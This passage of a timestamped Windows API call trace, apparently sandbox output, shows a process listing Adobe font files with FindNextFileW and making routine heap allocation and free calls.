lpFindFileData=0x119ec9c) returned 0x2e8f40 [0083.929] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.952] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Bold.otf", cAlternateFileName="")) returned 1 [0083.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0083.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed228 [0083.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ccbd0 [0083.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.955] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3d9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-BoldItalic.otf", cAlternateFileName="")) returned 1 [0083.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed248 [0083.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cccd8 [0083.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.957] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3dce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Italic.otf", cAlternateFileName="")) returned 1 [0083.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed268 [0083.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ccde0 [0083.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.958] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Regular.otf", cAlternateFileName="")) returned 1 [0083.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed288 [0083.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ccee8 [0083.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7a40) returned 0x12ea380 [0083.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0083.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.960] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10e4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Bold.otf", cAlternateFileName="")) returned 1 [0083.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed2a8 [0083.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ccff0 [0083.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.962] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-BoldItalic.otf", cAlternateFileName="")) returned 1 [0083.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed2c8 [0083.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cd0f8 [0083.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.975] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83575be0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11a6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Italic.otf", cAlternateFileName="")) returned 1 [0083.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed2e8 [0083.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cd200 [0083.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.977] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Regular.otf", cAlternateFileName="")) returned 1 [0083.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed308 [0083.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cd308 [0083.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.979] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15e3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePiStd.otf", cAlternateFileName="")) returned 1 [0083.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed328 [0083.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cd410 [0083.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.986] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Bold.otf", cAlternateFileName="")) returned 1 [0083.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed348 [0083.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cd518 [0083.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0083.997] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835e8000, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x112a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-BoldItalic.otf", cAlternateFileName="")) returned 1 [0083.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0083.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed368 [0084.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cd620 [0084.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.006] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x113b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Italic.otf", cAlternateFileName="")) returned 1 [0084.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed388 [0084.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cd728 [0084.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.017] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10530, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Regular.otf", cAlternateFileName="")) returned 1 [0084.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed3a8 [0084.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cd830 [0084.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.019] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Bold.otf", cAlternateFileName="")) returned 1 [0084.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed3c8 [0084.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cd938 [0084.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.036] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x90dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-BoldOblique.otf", cAlternateFileName="")) returned 1 [0084.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed3e8 [0084.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cda40 [0084.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.038] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9238, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Oblique.otf", cAlternateFileName="")) returned 1 [0084.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed408 [0084.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cdb48 [0084.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.040] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd.otf", cAlternateFileName="")) returned 1 [0084.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed428 [0084.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cdc50 [0084.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.042] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Bold.otf", cAlternateFileName="")) returned 1 [0084.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed448 [0084.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cdd58 [0084.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.043] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43898, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-BoldIt.otf", cAlternateFileName="")) returned 1 [0084.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed468 [0084.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cde60 [0084.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.045] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, 